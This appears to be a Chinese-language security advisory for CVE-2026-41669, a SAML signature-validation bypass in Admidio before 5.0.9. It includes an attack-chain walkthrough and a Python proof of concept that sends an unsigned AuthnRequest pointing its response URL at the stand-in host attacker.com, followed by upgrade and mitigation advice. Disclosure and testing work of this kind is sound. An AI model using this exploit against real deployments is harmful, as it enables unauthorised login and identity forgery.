IPBUF安全漏洞报告
English
CVE-2026-41669 CVSS 8.2 高危

CVE-2026-41669 Admidio SAML签名验证绕过漏洞

披露日期: 2026-05-07

漏洞信息

漏洞编号
CVE-2026-41669
漏洞类型
认证绕过
CVSS评分
8.2 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Admidio

相关标签

SAML认证绕过Admidio逻辑漏洞CVE-2026-41669

漏洞概述

Admidio 5.0.9之前版本存在SAML签名验证绕过漏洞。由于SAML实现中忽略了validateSignature()方法的返回值,导致smc_require_auth_signed配置无效。攻击者可利用此漏洞发送未签名或无效签名的SAML请求,绕过安全检查,对系统完整性造成严重影响。

技术细节

该漏洞的核心在于Admidio SAML Identity Provider实现中对validateSignature()方法返回值的处理不当。在handleSSORequest()(第418行)和handleSLORequest()(第613行)两个关键函数中,程序调用了validateSignature()但完全丢弃了其返回值。该方法的设计逻辑是在验证失败时返回错误字符串,但开发者误以为会抛出异常,因此缺少了必要的错误处理分支。这种逻辑缺陷使得强制要求签名验证的配置项smc_require_auth_signed形同虚设。攻击者无需拥有有效的私钥,即可向服务器发送未签名或签名无效的SAML AuthnRequest和LogoutRequest,服务器将正常处理这些恶意请求,导致身份验证机制失效。

攻击链分析

STEP 1
侦察阶段
攻击者识别出目标系统使用的是Admidio用户管理解决方案,且版本低于5.0.9,启用了SAML SSO功能。
STEP 2
漏洞利用
攻击者构造一个未签名的SAML AuthnRequest或LogoutRequest,直接发送给Admidio的SAML处理端点(handleSSORequest或handleSLORequest)。
STEP 3
绕过验证
由于Admidio未检查validateSignature()的返回值,系统错误地接受了未签名的请求,认为其通过了smc_require_auth_signed的检查。
STEP 4
达成影响
攻击者成功绕过身份验证机制,以伪造的身份登录系统或执行登出操作,破坏系统完整性。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target URL (Example) target_url = "https://target-admidio.com/adm_program/modules/saml/sso.php" # A sample unsigned SAML AuthnRequest # In a real attack, this would be crafted to match the IdP requirements saml_request = "" saml_request += "<samlp:AuthnRequest xmlns:samlp=\"urn:oasis:names:tc:SAML:2.0:protocol\" " saml_request += "ID=\"_1234567890\" Version=\"2.0\" ProtocolBinding=\"urn:oasis:names:tc:SAML:2.0:bindings:HTTP-POST\" " saml_request += "AssertionConsumerServiceURL=\"https://attacker.com/consume\" " saml_request += "IssueInstant=\"2026-05-07T12:00:00Z\">" saml_request += "<saml:Issuer xmlns:saml=\"urn:oasis:names:tc:SAML:2.0:assertion\">https://attacker.com</saml:Issuer>" saml_request += "</samlp:AuthnRequest>" # Base64 encode the SAML request (usually required) import base64 encoded_saml = base64.b64encode(saml_request.encode()).decode() # Payload to send payload = { "SAMLRequest": encoded_saml # Note: No Signature parameter is sent } print("[+] Sending unsigned SAML Request to target...") try: response = requests.post(target_url, data=payload) if response.status_code == 200: print("[+] Request processed successfully. Signature check bypassed.") else: print("[-] Request failed or rejected.") except Exception as e: print(f"[!] Error: {e}")

影响范围

Admidio < 5.0.9

防御指南

临时缓解措施
建议立即将Admidio升级至5.0.9或更高版本以修复此漏洞。如果无法立即升级,应严格限制SAML端点的网络访问,仅允许受信任的身份提供商(IdP)IP地址连接,或暂时禁用SAML功能,直到完成升级。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表